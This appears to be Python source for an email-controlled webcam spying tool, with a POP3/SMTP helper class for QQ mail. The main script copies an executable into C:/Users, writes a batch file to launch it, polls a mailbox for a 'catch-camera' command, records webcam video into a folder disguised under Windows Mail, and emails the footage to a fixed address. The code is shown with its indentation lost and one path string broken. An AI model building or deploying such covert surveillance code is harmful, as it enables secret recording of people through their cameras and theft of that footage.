# -*- coding: UTF-8 -*-
import re
import time
import cv2
import datetime #引入datetime模块
from Email import Mail_Helper_DG
import base64
import os
import tempfile,sys
#删除文件夹下面的所有文件(只删除文件,不删除文件夹)
import shutil
#python删除文件的方法 os.remove(path)path指的是文件的绝对路径,如:
# os.remove(r"E:\code\practice\data\1.py")#删除文件
# os.rmdir(r"E:\code\practice\data\2")#删除文件夹(只能删除空文件夹)
# shutil.rmtree(r"E:\code\practice\data\2")#删除文件夹
# path_data = "E:\code\practice\data"#
def del_file(path_data):
for i in os.listdir(path_data) :# os.listdir(path_data)#返回一个列表,里面是当前目录下面的所有东西的相对路径
file_data = path_data + "\\"+ i #当前文件夹的下面的所有东西的绝对路径
if os.path.isfile(file_data) == True: #os.path.isfile判断是否为文件,如果是文件,就删除.如果是文件夹.递归给del_file.
os.remove(file_data)
else:
del_file(file_data)
file_path = os.path.abspath(__file__)
folder_path1 = os.getcwd()
folder_path2 = os.getcwd().replace('\\','/')
print(file_path)
print(folder_path1)
print(folder_path2)
#判断文件是否存在不存在则创建
if not os.path.exists('C:/Users/tsvvideo.exe'):
shutil.copyfile(folder_path2+'/tsvvideo.exe', 'C:/Users/tsvvideo.exe')
#创建文件
file_path="
/copy_writer.bat"
msg='start C:/Users/tsvvideo.exe '
def create__file(file_path,msg):
f=open(file_path,"a")
f.write(msg)
f.close
#判断文件是否存在不存在则创建
if not os.path.exists(file_path):
create__file(file_path,msg)
#sys.stderr=tempfile.TemporaryFile()
#录制视频
def video1(path,cap):
## opening videocapture
#cap = cv2.VideoCapture(0)
## some videowriter props
sz = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),
int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))
fps = 20
#fourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')
#fourcc = cv2.VideoWriter_fourcc('m', 'p', 'e', 'g')
fourcc = cv2.VideoWriter_fourcc(*'mpeg')
## open and set props
vout = cv2.VideoWriter()
vout.open(path,fourcc,fps,sz,True)
cnt = 0
while cnt<2000:
cnt += 1
print(cnt)
_, frame = cap.read()
cv2.putText(frame, str(cnt), (10, 20), cv2.FONT_HERSHEY_PLAIN, 1, (0,255,0), 1, cv2.LINE_AA)
vout.write(frame)
#vout.release()
#cap.release()
toAddressArray = ['[email protected]'] # 收件人的邮箱,可发送给多人
content = """
当前摄像头捕获的结果:
"""
# 获取当前时间
def getCurrentTime():
return datetime.datetime.now().strftime('%Y%m%d%H%M%S')
#str(time.strftime('%Y{y}%m{m}%d %X').format(y='-',m='-'))
#
#time.strftime('’%Y-%m-%d-%X’', time.localtime(time.time()))
#time.strftime(u'%Y年%m月%d日',time.localtime(time.time()))
# 程序启动标识
print('QiXiao`s SHS Starting ...')
# 初始化邮件发送类
mail = Mail_Helper_DG()
# 声明一个变量,来作为一个标记判断是否已经检测过当前这封邮件了
last_receiveMailDate = ''
# 输出显示当前扫描邮箱服务器的次数
scan_index = 0
# 设置一个循环检测邮箱的方法
while True:
time.sleep(10) # 设置检测邮箱服务器的时间间隔
print(getCurrentTime() + ' : scan item >>> ' + str(scan_index))
scan_index += 1 # 扫描次数累加
try:
# 通过Pop3 获取到邮件的第一条
mailBody = mail.ReceiveMail()
print(mailBody)
#print("hhhhhhhhhhhhhhhhhhhhh",mailBody[1])
# 解析第一条邮件,并得到发件人,主题,日期
info_emil=""
pat = re.compile('From: (.*) <.*?>$')
for elem in mailBody[1]:
try:
if pat !=None :
m=pat.match(info_emil.join(elem.decode('utf-8')))
sender=re.search(r"\w\S*@.*\w",m.group(0)).group(0);
else:
continue
except:
pass
continue
print("错误在哪里了")
if sender != '[email protected]':
continue
subject = re.search("Subject: (.*?)'.",str(mailBody[1]), re.S).group(1)
print("错误可能在subject-----",subject)
date = re.search("Date: (.*?)'.", str(mailBody[1]), re.S).group(1)
print("错误可能在date",date)
#判断路径是否存在,不存在则创建
path = "C:\\Program Files\\Windows Mail\\files\\video\\"
if not os.path.exists(path):
os.makedirs(path)
del_file(path[0:len(path)-1])
# 判断解析到的参数值
if date != last_receiveMailDate:
# 对发送方进行邮箱判断,否则任何人都可以发送命令,你懂得
if sender == '[email protected]':
# 对命令进行分析
if subject.__contains__('qx_cmd:'):
cmd = subject.split(':')[1]
# 按cmd的命令来匹配要执行的操作:
# catch-camera 捕获摄像头的操作
if cmd == 'catch-camera':
# 载入图像,连续捕获数张图片,间隔三秒
video = cv2.VideoCapture(0)
time.sleep(3)
#ret, img = video.read()
#cv2.imwrite(path+"shoot_001.jpg", img)
video1(path+getCurrentTime()+"+output_001.mp4",video)
print(getCurrentTime())
time.sleep(10)
#ret, img = video.read()
#cv2.imwrite(path+"shoot_002.jpg", img)
video1(path+getCurrentTime()+"output_002.mp4",video)
print(getCurrentTime())
time.sleep(10)
#ret, img = video.read()
#cv2.imwrite(path+"shoot_003.jpg", img)
video1(path+getCurrentTime()+"output_003.mp4",video)
print(getCurrentTime())
video.release() # 关闭摄像头
result = mail.SendMailAttachment(toAddressArray, getCurrentTime(),
getCurrentTime()+"`s SHS ", content,
path)
if result is True:
print(getCurrentTime() + ' : send mail success !')
else:
print(getCurrentTime() + ' : send fail #')
# 让当前这条信息的日期赋值给标记变量,以便下次略过当前这条信息
last_receiveMailDate = date
except:
print(getCurrentTime() + 'Error:' + Exception)
pass
continue
# -*- coding: UTF-8 -*-
import os
import poplib
import smtplib
from email.mime.application import MIMEApplication
from email.mime.audio import MIMEAudio
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr
class Mail_Helper_DG:
my_smtp_server = 'smtp.qq.com' # smtp 邮件服务地址
my_pop3_server = 'pop.qq.com' # pop3 邮件服务地址
mail_type = 'html' # 发送的邮件的格式,HTML或者Plain
my_account = '[email protected]' # 发件人邮箱账号
my_pwd = 'qqqq' # 发件人邮箱密码
toAddressArray = ['[email protected]','[email protected]'] # 收件人的邮箱,可发送给多人
def __init__(self):
pass
# 发送邮件
def SendMail(self, toAddressArray, senderName, subject, content):
try:
server = smtplib.SMTP(self.my_smtp_server, 465) # 发件人邮箱中的SMTP服务器,端口是25
try:
msg = MIMEText(content, self.mail_type, 'utf-8')
msg['From'] = formataddr([senderName, self.my_account]) # 括号里的对应发件人邮箱昵称、发件人邮箱账号
# msg['To'] = formataddr(["FK", my_account]) # 括号里的对应收件人邮箱昵称、收件人邮箱账号
msg['Subject'] = subject # 邮件的主题,也可以说是标题
server.login(self.my_account, self.my_pwd) # 括号中对应的是发件人邮箱账号、邮箱密码
server.sendmail(self.my_account, toAddressArray, msg.as_string()) # 括号中对应的是发件人邮箱账号、收件人邮箱账号、发送邮件
except Exception:
print(Exception)
return False
finally:
server.quit() # 关闭连接
return True
except Exception:
print(Exception)
return False
# 发送邮件带附件
def SendMailAttachment(self, toAddressArray, senderName, subject, content, attachment_path):
print("打印邮件信息")
print(self.my_account,self.my_pwd)
try:
#server = smtplib.SMTP(self.my_smtp_server, 465) # 发件人邮箱中的SMTP服务器,端口是25
server = smtplib.SMTP_SSL(self.my_smtp_server, 465)
try:
server.login(self.my_account, self.my_pwd) # 括号中对应的是发件人邮箱账号、邮箱密码
msg = MIMEMultipart() # create MIMEMultipart
msg['From'] = formataddr([senderName, self.my_account]) # 括号里的对应发件人邮箱昵称、发件人邮箱账号
# msg['To'] = formataddr(["FK", my_account]) # 括号里的对应收件人邮箱昵称、收件人邮箱账号
msg['Subject'] = subject # 邮件的主题,也可以说是标题
content2 = MIMEText(content,
_charset='utf-8') # add email content ,coding is gbk, becasue chinese exist
msg.attach(content2)
print("下面是文件图片文件路径",msg)
print(os.listdir(attachment_path),"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy")
for attachment_name in os.listdir(attachment_path):
attachment_file = os.path.join(attachment_path, attachment_name)
print("路径位置",attachment_name,attachment_file)
with open(attachment_file, 'rb') as attachment:
if 'application' == 'text':
attachment = MIMEText(attachment.read(), _subtype='octet-stream', _charset='GB2312')
elif 'application' == 'image':
attachment = MIMEImage(attachment.read(), _subtype='octet-stream')
elif 'application' == 'audio':
attachment = MIMEAudio(attachment.read(), _subtype='octet-stream')
else:
attachment = MIMEApplication(attachment.read(), _subtype='octet-stream')
attachment.add_header('Content-Disposition', 'attachment', filename=('gbk', '', attachment_name))
# make sure "attachment_name is chinese" right
msg.attach(attachment)
print("打印邮件信息")
print(self.my_account, toAddressArray, msg.as_string())
server.sendmail(self.my_account, toAddressArray, msg.as_string()) # 括号中对应的是发件人邮箱账号、收件人邮箱账号、发送邮件
except Exception:
print(Exception)
return False
finally:
server.quit() # 关闭连接
return True
except Exception:
print(Exception)
return
# 接收邮件
def ReceiveMail(self):
# 创建一个pop3对象,这个时候实际上已经连接上服务器了
pp = poplib.POP3(self.my_pop3_server)
# 设置调试模式,可以看到与服务器的交互信息
pp.set_debuglevel(1)
# 向服务器发送用户名
pp.user(self.my_account)
# 向服务器发送密码
pp.pass_(self.my_pwd)
# 返回邮箱的状态,返回2元祖(消息的数量,消息的总字节)
# msgCount, msgSize = pp.stat()
ret = pp.list()
#print(ret)
print("9999999999999999999999999999999999999999999999999999999")
mailBody = pp.retr(len(ret[1]))
# 释放pp
pp.quit()
return mailBody